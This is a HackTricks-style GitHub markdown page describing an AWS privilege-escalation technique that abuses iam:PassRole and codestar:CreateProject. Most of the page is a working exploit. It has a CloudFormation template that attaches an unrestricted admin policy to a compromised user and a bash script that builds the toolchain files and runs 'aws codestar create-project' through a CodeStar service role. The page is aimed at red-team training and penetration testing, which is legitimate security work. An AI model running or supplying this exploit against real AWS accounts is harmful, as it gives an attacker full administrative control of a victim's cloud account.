Skip to content

Latest commit

 

History

History
118 lines (96 loc) · 5.44 KB

iam-passrole-codestar-createproject.md

File metadata and controls

118 lines (96 loc) · 5.44 KB
Raw

iam:PassRole, codestar:CreateProject

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

With these permissions you can abuse a codestar IAM Role to perform arbitrary actions through a cloudformation template.

To exploit this you need to create a S3 bucket that is accessible from the attacked account. Upload a file called toolchain.json . This file should contain the cloudformation template exploit. The following one can be used to set a managed policy to a user under your control and give it admin permissions:

{% code title="toolchain.json" %}

{
    "Resources": {
        "supercodestar": {
            "Type": "AWS::IAM::ManagedPolicy",
            "Properties": {
                "ManagedPolicyName": "CodeStar_supercodestar",
                "PolicyDocument": {
                    "Version": "2012-10-17",
                    "Statement": [
                        {
                            "Effect": "Allow",
                            "Action": "*",
                            "Resource": "*"
                        }
                    ]
                },
                "Users": [
                    "<compromised username>"
                ]
            }
        }
    }
}

{% endcode %}

Also upload this empty zip file to the bucket:

{% file src="../../../../.gitbook/assets/empty.zip" %}

Remember that the bucket with both files must be accessible by the victim account.

With both things uploaded you can now proceed to the exploitation creating a codestar project:

PROJECT_NAME="supercodestar"

# Crecte the source JSON
## In this JSON the bucket and key (path) to the empry.zip file is used
SOURCE_CODE_PATH="/tmp/surce_code.json"
SOURCE_CODE="[
    {
        \"source\": {
            \"s3\": {
                \"bucketName\": \"privesc\",
                \"bucketKey\": \"empty.zip\"
            }
    },
        \"destination\": {
            \"codeCommit\": {
                \"name\": \"$PROJECT_NAME\"
            }
        }
    }
]"
printf "$SOURCE_CODE" > $SOURCE_CODE_PATH

# Create the toolchain JSON
## In this JSON the bucket and key (path) to the toolchain.json file is used
TOOLCHAIN_PATH="/tmp/tool_chain.json"
TOOLCHAIN="{
    \"source\": {
        \"s3\": {
            \"bucketName\": \"privesc\",
            \"bucketKey\": \"toolchain.json\"
        }
    },
    \"roleArn\": \"arn:aws:iam::947247140022:role/service-role/aws-codestar-service-role\"
}"
printf "$TOOLCHAIN" > $TOOLCHAIN_PATH

# Create the codestar project that will use the cloudformation epxloit to privesc
aws codestar create-project \
    --name $PROJECT_NAME \
    --id $PROJECT_NAME \
    --source-code file://$SOURCE_CODE_PATH \
    --toolchain file://$TOOLCHAIN_PATH

This exploit is based on the Pacu exploit of these privileges: https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997 On it you can find a variation to create an admin managed policy for a role instead of to a user.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}